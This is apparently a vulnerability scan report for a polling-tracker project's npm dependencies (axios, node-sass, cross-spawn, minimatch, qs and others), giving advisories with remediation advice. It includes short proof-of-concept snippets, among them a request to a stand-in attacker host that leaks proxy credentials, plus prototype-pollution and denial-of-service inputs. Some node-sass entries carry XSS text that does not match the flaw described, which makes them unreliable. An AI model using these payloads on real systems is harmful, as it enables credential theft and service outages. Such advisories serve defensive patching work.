  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD trip@1.0.3 babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-preset-stage-3@6.24.1 babel-plugin-transform-async-generator-functions@6.24.1 babel-helper-remap-async-to-generator@6.24.1 babel-helper-function-name@6.24.1 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD trip@1.0.3 babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-preset-stage-3@6.24.1 babel-plugin-transform-async-to-generator@6.24.1 babel-helper-remap-async-to-generator@6.24.1 babel-helper-function-name@6.24.1 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD trip@1.0.3 babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-preset-stage-3@6.24.1 babel-plugin-transform-exponentiation-operator@6.24.1 babel-helper-builder-binary-assignment-operator-visitor@6.24.1 babel-helper-explode-assignable-expression@6.24.1 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD trip@1.0.3 babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-preset-stage-3@6.24.1 babel-plugin-transform-async-generator-functions@6.24.1 babel-helper-remap-async-to-generator@6.24.1 babel-helper-function-name@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD trip@1.0.3 babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-preset-stage-3@6.24.1 babel-plugin-transform-async-to-generator@6.24.1 babel-helper-remap-async-to-generator@6.24.1 babel-helper-function-name@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0

Overview

Affected versions of this package are vulnerable to Incomplete List of Disallowed Inputs when using plugins that rely on the path.evaluate() or path.evaluateTruthy() internal Babel methods.

Note:

This is only exploitable if the attacker uses known affected plugins such as @babel/plugin-transform-runtime, @babel/preset-env when using its useBuiltIns option, and any "polyfill provider" plugin that depends on @babel/helper-define-polyfill-provider. No other plugins under the @babel/ namespace are impacted, but third-party plugins might be.

Users that only compile trusted code are not impacted.

Workaround

Users who are unable to upgrade the library can upgrade the affected plugins instead, to avoid triggering the vulnerable code path in affected @babel/traverse.

Remediation

There is no fixed version for babel-traverse.

References

critical severity

HTTP Response Splitting

  • Vulnerable module: axios
  • Introduced through: axios@0.15.3

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD axios@0.15.3
    Remediation: Upgrade to axios@0.31.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to HTTP Response Splitting via the isFormData and getHeaders handling in the HTTP request path. An attacker can inject arbitrary request headers by supplying a prototype-polluted object that is mistaken for FormData, causing getHeaders() output to be merged into an outgoing request. This lets attacker-controlled values, such as authorization or custom headers, ride along with requests made by applications that pass untrusted objects into Axios, exposing credentials or altering server-side request handling.

Notes

  • The gadget only matters when the request body is a non-FormData payload that Axios still routes through the Node HTTP adapter’s form-data detection path; browser-side usage is not implicated by this code path.
  • The advisory’s prototype-pollution prerequisite can come from any dependency in the application’s tree, not necessarily from Axios itself, so a separate merge/parser bug elsewhere can be enough to trigger the header injection.

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

critical severity

Prototype Pollution

  • Vulnerable module: axios
  • Introduced through: axios@0.15.3

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD axios@0.15.3
    Remediation: Upgrade to axios@0.31.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution through the mergeConfig code path in the request configuration handling. An attacker can influence request behavior by supplying a crafted config object with inherited properties such as transport, env, formSerializer, or transform callbacks on Object.prototype, causing Axios to use attacker-controlled settings during request dispatch and form serialization. This can redirect requests, alter serialization and response handling, and break application logic that relies on trusted per-request configuration.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

high severity

NULL Pointer Dereference

  • Vulnerable module: node-sass
  • Introduced through: exhibit-plugin-sass@0.10.1

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-sass@0.10.1 node-sass@3.13.1

Overview

node-sass is a Node.js bindings package for libsass.

Affected versions of this package are vulnerable to NULL Pointer Dereference in the function Sass::Functions::selector_append which could be leveraged by an attacker to cause a denial of service (application crash) or possibly have unspecified other impact. node-sass is affected by this vulnerability due to its bundled usage of libsass.

Remediation

There is no fixed version for node-sass.

References

high severity

NULL Pointer Dereference

  • Vulnerable module: node-sass
  • Introduced through: exhibit-plugin-sass@0.10.1

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-sass@0.10.1 node-sass@3.13.1
    Remediation: Upgrade to exhibit-plugin-sass@0.11.0.

Overview

node-sass is a Node.js bindings package for libsass.

Affected versions of this package are vulnerable to NULL Pointer Dereference. An issue was discovered in LibSass through 3.5.4. A NULL pointer dereference was found in the function Sass::Inspect::operator which could be leveraged by an attacker to cause a denial of service (application crash) or possibly have unspecified other impact.

Remediation

Upgrade node-sass to version 4.11.0 or higher.

References

high severity

NULL Pointer Dereference

  • Vulnerable module: node-sass
  • Introduced through: exhibit-plugin-sass@0.10.1

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-sass@0.10.1 node-sass@3.13.1
    Remediation: Upgrade to exhibit-plugin-sass@0.11.0.

Overview

node-sass is a Node.js bindings package for libsass.

Affected versions of this package are vulnerable to NULL Pointer Dereference via the function Sass::Expand::operator which could be leveraged by an attacker to cause a denial of service (application crash) or possibly have unspecified other impact. Note: node-sass is affected by this vulnerability due to its bundled usage of the libsass package.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade node-sass to version 4.9.0 or higher.

References

high severity

Use After Free

  • Vulnerable module: node-sass
  • Introduced through: exhibit-plugin-sass@0.10.1

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-sass@0.10.1 node-sass@3.13.1

Overview

node-sass is a Node.js bindings package for libsass.

Affected versions of this package are vulnerable to Use After Free via the SharedPtr class in SharedPtr.cpp (or SharedPtr.hpp) that may cause a denial of service (application crash) or possibly have unspecified other impact. Note: node-sass is affected by this vulnerability due to its bundled usage of the libsass package.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

There is no fixed version for node-sass.

References

high severity
new

Insertion of Sensitive Information Into Sent Data

  • Vulnerable module: axios
  • Introduced through: axios@0.15.3

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD axios@0.15.3
    Remediation: Upgrade to axios@0.32.0.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data in the setProxy function. An attacker can obtain sensitive proxy credentials by controlling a redirect target and causing the application to follow a redirect from a proxied request to a direct connection, resulting in the Proxy-Authorization header being sent to the attacker's server.

Note:

This is only exploitable if the application is running in Node.js with automatic redirects enabled and uses an authenticated proxy configuration, where the redirect target resolves to a direct connection (such as when HTTPS_PROXY is unset or excluded by NO_PROXY).

Workaround

This vulnerability can be mitigated by setting maxRedirects: 0 and handling redirects manually, or by ensuring proxy environment variables are configured consistently across protocols to prevent unexpected changes from proxied to direct connections.

PoC

process.env.HTTP_PROXY = 'http://user:pass@127.0.0.1:8080';
delete process.env.HTTPS_PROXY;

await axios.get('http://attacker.example/start');

Remediation

Upgrade axios to version 0.32.0, 1.16.0 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: axios
  • Introduced through: axios@0.15.3

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD axios@0.15.3
    Remediation: Upgrade to axios@0.30.3.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution via the mergeConfig function. An attacker can cause the application to crash by supplying a malicious configuration object containing a __proto__ property, typically by leveraging JSON.parse().

PoC

import axios from "axios";

const maliciousConfig = JSON.parse('{"__proto__": {"x": 1}}');
await axios.get("https://domain/get", maliciousConfig);

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade axios to version 0.30.3, 1.13.5 or higher.

References

high severity

Uncontrolled Recursion

  • Vulnerable module: axios
  • Introduced through: axios@0.15.3

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD axios@0.15.3
    Remediation: Upgrade to axios@0.31.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Uncontrolled Recursion through the toFormData recursive serializer in lib/helpers/toFormData.js. An attacker can crash a process by supplying a deeply nested object as request data or params, causing unbounded recursion and a call-stack overflow during multipart/form-data or query-string serialization.

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: cross-spawn
  • Introduced through: exhibit-plugin-sass@0.10.1 and sequelize-cli@2.8.0

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-sass@0.10.1 node-sass@3.13.1 cross-spawn@3.0.1
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD sequelize-cli@2.8.0 yargs@8.0.2 os-locale@2.1.0 execa@0.7.0 cross-spawn@5.1.0
    Remediation: Upgrade to sequelize-cli@5.0.1.

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.

PoC

const { argument } = require('cross-spawn/lib/util/escape');
var str = "";
for (var i = 0; i < 1000000; i++) {
  str += "\\";
}
str += "◎";

console.log("start")
argument(str)
console.log("end")

// run `npm install cross-spawn` and `node attack.js` 
// then the program will stuck forever with high CPU usage

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade cross-spawn to version 6.0.6, 7.0.5 or higher.

References

high severity

Inefficient Algorithmic Complexity

  • Vulnerable module: minimatch
  • Introduced through: exhibit-plugin-sass@0.10.1 and sequelize-cli@2.8.0

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-sass@0.10.1 node-sass@3.13.1 gaze@1.1.3 globule@1.3.4 minimatch@3.0.8
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD sequelize-cli@2.8.0 gulp@3.9.1 vinyl-fs@0.3.14 glob-stream@3.1.18 minimatch@2.0.10
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD sequelize-cli@2.8.0 gulp@3.9.1 vinyl-fs@0.3.14 glob-stream@3.1.18 glob@4.5.3 minimatch@2.0.10
    Remediation: Upgrade to sequelize-cli@3.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD sequelize-cli@2.8.0 gulp@3.9.1 vinyl-fs@0.3.14 glob-watcher@0.0.6 gaze@0.5.2 globule@0.1.0 minimatch@0.2.14
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD sequelize-cli@2.8.0 gulp@3.9.1 vinyl-fs@0.3.14 glob-watcher@0.0.6 gaze@0.5.2 globule@0.1.0 glob@3.1.21 minimatch@0.2.14

Overview

minimatch is a minimal matching utility.

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the matchOne function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.

Remediation

Upgrade minimatch to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: minimatch
  • Introduced through: exhibit-plugin-sass@0.10.1 and sequelize-cli@2.8.0

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-sass@0.10.1 node-sass@3.13.1 gaze@1.1.3 globule@1.3.4 minimatch@3.0.8
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD sequelize-cli@2.8.0 gulp@3.9.1 vinyl-fs@0.3.14 glob-stream@3.1.18 minimatch@2.0.10
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD sequelize-cli@2.8.0 gulp@3.9.1 vinyl-fs@0.3.14 glob-stream@3.1.18 glob@4.5.3 minimatch@2.0.10
    Remediation: Upgrade to sequelize-cli@3.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD sequelize-cli@2.8.0 gulp@3.9.1 vinyl-fs@0.3.14 glob-watcher@0.0.6 gaze@0.5.2 globule@0.1.0 minimatch@0.2.14
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD sequelize-cli@2.8.0 gulp@3.9.1 vinyl-fs@0.3.14 glob-watcher@0.0.6 gaze@0.5.2 globule@0.1.0 glob@3.1.21 minimatch@0.2.14

Overview

minimatch is a minimal matching utility.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the AST class, caused by catastrophic backtracking when an input string contains many * characters in a row, followed by an unmatched character.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade minimatch to version 3.1.3, 4.2.4, 5.1.7, 6.2.1, 7.4.7, 8.0.5, 9.0.6, 10.2.1 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: qs
  • Introduced through: jsdom@9.12.0 and exhibit-plugin-sass@0.10.1

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD jsdom@9.12.0 request@2.88.2 qs@6.5.5
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-sass@0.10.1 node-sass@3.13.1 request@2.88.2 qs@6.5.5
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-sass@0.10.1 node-sass@3.13.1 node-gyp@3.8.0 request@2.88.2 qs@6.5.5

Overview

qs is a querystring parser that supports nesting and arrays, with a depth limit.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via improper enforcement of the arrayLimit option in bracket notation parsing. An attacker can exhaust server memory and cause application unavailability by submitting a large number of bracket notation parameters - like a[]=1&a[]=2 - in a single HTTP request.

PoC


const qs = require('qs');
const attack = 'a[]=' + Array(10000).fill('x').join('&a[]=');
const result = qs.parse(attack, { arrayLimit: 100 });
console.log(result.a.length);  // Output: 10000 (should be max 100)

Remediation

Upgrade qs to version 6.14.1 or higher.

References

high severity

Incomplete Filtering of One or More Instances of Special Elements

  • Vulnerable module: validator
  • Introduced through: sequelize@3.35.1

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD sequelize@3.35.1 validator@5.7.0
    Remediation: Upgrade to sequelize@5.22.5.

Overview

validator is a library of string validators and sanitizers.

